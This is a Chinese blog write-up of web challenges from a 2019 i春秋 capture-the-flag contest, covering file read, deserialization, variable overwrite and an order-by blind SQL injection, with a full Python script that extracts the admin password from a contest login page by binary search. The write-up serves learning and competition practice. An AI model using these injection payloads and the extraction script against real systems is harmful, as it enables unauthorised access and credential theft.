i春秋网络内生安全试验场CTF夺旗赛(第二季)部分wp

i春秋 2019-10月CTF答题夺旗赛 web部分wp

1.easyphp

在这里插入图片描述
通过观察可以发现img传参base64解码;同样的方法可得index.php源码
之后构造序列化。。。。。

2、calculate1,2
在这里插入图片描述
写wp前删掉了脚本,简述下:利用selenium运算公式并结合chromedriver进行10次提交

3、babysql
在这里插入图片描述
在这里插入图片描述
之后测试admin’orderby 1# 到3,直到4时
在这里插入图片描述
得知列数为3,通过fuzz发现union select可用,且页面返回第二列的内容即用户名,且常规注入不可行。尝试order by盲注,payload=admin’union select 1,2,‘c’ order by 3#。发现当字符小于等于密码时,显示2,当大于密码时显示admin。
由此写出脚本:

import requests
url = "http://120.55.43.255:13004/login.php"
print(hex(61))
flag = ""
for i in range(1, 50):
    print(i)
    end = 31
    head = 127
    while abs(head - end) > 1:
        mid = (end + head) // 2
        print(mid)
        data1 = flag + chr(mid)
        print(data1)
        sql = "admin'union select 1,2,0x{} order by 3#".format(data1.encode("hex"))
        s = requests.session()
        data = {
            'username': sql,
            'passwd': 'admin'
        }
        print(sql)
        result = requests.post(url=url, data=data)

        if "admin" in result.text:
            head = mid
        else:
            end = mid

    flag = flag + chr(end)

    print('flag:' + flag)
print("flag:" + flag)

在这里插入图片描述
这里要注意大小写,因为MySQL比较大小时是不区分的。
最后一位是d,因为最后一位时就是正确的admin的passwd应该往后取一位

4、best_language
在这里插入图片描述
进来就是代码审计,第一个点:提交%s即可绕过
第二个点:传参时第一个参数为first=’u’
第三个点:变量覆盖,查找参数为数组的变量覆盖的函数,发现了extract。
随即传参,可以由文件包含得到class.php源码。
在这里插入图片描述
上来看到前两行,PHP_SESSION_UPLOAD_PROGRESS的利用
构造表单,抓包改参数。
代码大致意思由Monitor反序列化触发Welcome的__toString魔术方法,接着用到Come的execute方法,有个substr的waf还是好绕的,/…/即可。
在这里插入图片描述
熟悉的flag,之后利用之前的文件包含获取flag。

5.easy_encode

在这里插入图片描述
看到102 且大部分在127下。尝试了ascii编码转换,得到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值